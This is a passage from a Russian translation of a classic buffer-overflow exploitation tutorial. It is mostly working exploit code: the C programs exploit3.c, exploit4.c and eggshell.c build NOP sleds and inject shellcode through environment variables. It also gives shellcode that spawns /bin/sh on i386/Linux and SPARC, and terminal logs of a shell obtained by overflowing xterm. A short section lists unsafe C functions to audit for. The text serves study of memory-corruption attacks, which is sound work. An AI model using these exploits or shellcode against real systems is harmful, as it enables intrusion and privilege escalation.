кода.Сам шелкод расположим в центре. Теперь, в случае удачи, адрес возврата укажет на одну из команд NOP и вслед за ними выполнится шелкод. Машинный код для NOP - 0x90.В предположении , что стек начинается с адреса 0xff ,S обозначает шелкод, N - команды NOP, новая схема стека будет выглядеть следующим образом: нижние DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF верхние адреса памяти адреса 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF памяти buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| вершина стека основание стека Новый exploit тогда: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Разумный выбор для размера нашего буфера: + 100 байт к величине буфера, в котором происходит переполнение(512 байт). Итого, 612.Сам шелкод находится в конце, и для операций NOP остается достаточно места. Испробуем новую версию exploit'a на тестовой программе : ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Работает с первой попытки! Небольшое усовершенствование увеличило вероятность в сотни раз.Остается проверить работу exploit'a на реальных программах.Для демонстрации используем ошибку переполнения буфера в библиотеке Xt. Конкретно, используем xterm ( все приложения, использующие данную версию библиотеки Xt, уязвимы). Необходимо запустить X сервер, разрешить подсоединения к нему с localhost и соответственно настроить переменную DISPLAY. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "л^1¤FF ° уV ¤1¤Ш@¤иЬяяя/bin/sh¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤я ї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яїяї¤¤яї¤¤яї¤¤яї¤¤ яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤ яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї ¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤я¤яї¤¤яї¤¤яї¤¤яї¤¤я ї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї ¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яяї¤¤яї¤¤яї¤¤яї¤¤ ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "л^1¤FF ° уV ¤1¤Ш@¤иЬяяя/bin/sh¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яї H¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїHїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яї яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яяїH¤яїH¤яїH¤яїH¤яїH¤яї H¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤я ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤ H¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїHH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤ яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤ їH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤я Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "л^1¤FF ° уV ¤1¤Ш@¤иЬяяя/bin/shыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTы яїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTы Tы яїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїT ыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїT ыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїT T ыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїT TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTы яїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяї їTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыя Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Понадобилось менее дюжины попыток для нахождения нужных значений. Если бы у xterm был атрибут suid, то мы получили бы root shell ТЕОРИЯ АТАК ПЕРЕПОЛНЕНИЯ БУФЕРА(3) Переполнение буферов слишком маленького размера Существуют случаи , когда размер буфера, который надо использовать для переполнения меньше размера шелкода или допустимое количество операций NOP очень мало.В первом случае при передаче шелкода адрес возврата перезапишется командами вместо правильного значения.Во втором - вероятность угадывания значения адреса перехода увеличивается лишь незначительно.Для выполнения атаки в данных случаях необходимо искать другой подход.Он существует при условии наличия доступа к переменным окружения программы. Что если поместить шелкод в переменную окружения и перезаписать адрес возврата ее адресом.Этот метод также увеличивает шансы корректной работы exploit'a, поскольку нет ограничений на объем памяти выделяемой под переменную окружения. Во время работы программы ,ее переменные окружения хранятся в вершине стеке, с помощью функции setenv() можно изменить их расположение.Стек, соответственно ,будет выглядеть так: NULLNULL Новый вариант exploit'a содержит дополнительную переменную - размер переменной, содержащей шелкод и инструкции NOP : exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Проверим exploit на тестовой уязвимой программе: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Отлично.Теперь проверим его на xterm: ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name "°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї °¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї °¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤я °¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤я °¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤я °¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤я °¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤я °¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤я °¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї° ¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤ яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤яї°¤я °¤яї°¤яї°¤ Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ Работает с первой попытки! Усовершенствование определенно повышает наши шансы. В зависимости от того, как соотносятся размеры переменных окружения и программы, в которой происходит переполнение, необходимо увеличить или уменьшить значение угаданного адреса. Поиск ошибок переполнения буфера Как было сказано выше, ошибки переполнения буфера - результат записи в буфер большего количества данных, чем то,на которое он рассчитан.Стандартная библиотека C содержит функции strcat(), strcpy(), sprintf(), vsprintf(), которые не производят граничных проверок и следят только за признаком конца строки ("\0"),предполагая, что размер передаваемых строк не выходит за допустимые пределы. Функция gets() читает данные со стандартного ввода в буфер, пока не будет введен символ новой строки либо EOF.Она также не проверяет размер передаваемых ей данных. Проблема переполнения может возникнуть также с семейством функций scanf(), если не указано максимальное значение ширины поля для ниже перечисленных типов вводимых данных: символы, которые не входят в класс пробельных %s), указатели на символьные массивы и непустой последовательности специальных символов из множества(%[]).Если в этих функциях определен буфер фиксированного размера, а другой аргумент берется с пользовательского ввода, то существует возможность атаки на переполнения буфера. Еще одна часто используемая конструкция - цикл while, читающий по одному символу в буфер с stdin или с какого-либо другого файла до ввода символа конца строки (соответственно, символа EOF) или другого разделителя. В конструкциях такого типа обычно используются функции getc(), fgetc() или getchar().Если отсутствуют граничные проверки, то такие программы также потенциально подвержены атаке переполнения буфера. В заключении, хотелось бы посоветовать всем, проверять свой код (например, с помощью grep) на наличие потенциально опасных конструкций, тем более, что тексты бесплатных операционных систем и их утилит легко доступны.Более того, имеет место интересный факт - многие коммерческие утилиты написаны на базе этих исходных текстов. Приложение A. Шелкод для различных ОС и архитектур i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Приложение B. Общий вид exploit'ов , использующих переполнение буфера shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------ ya_mun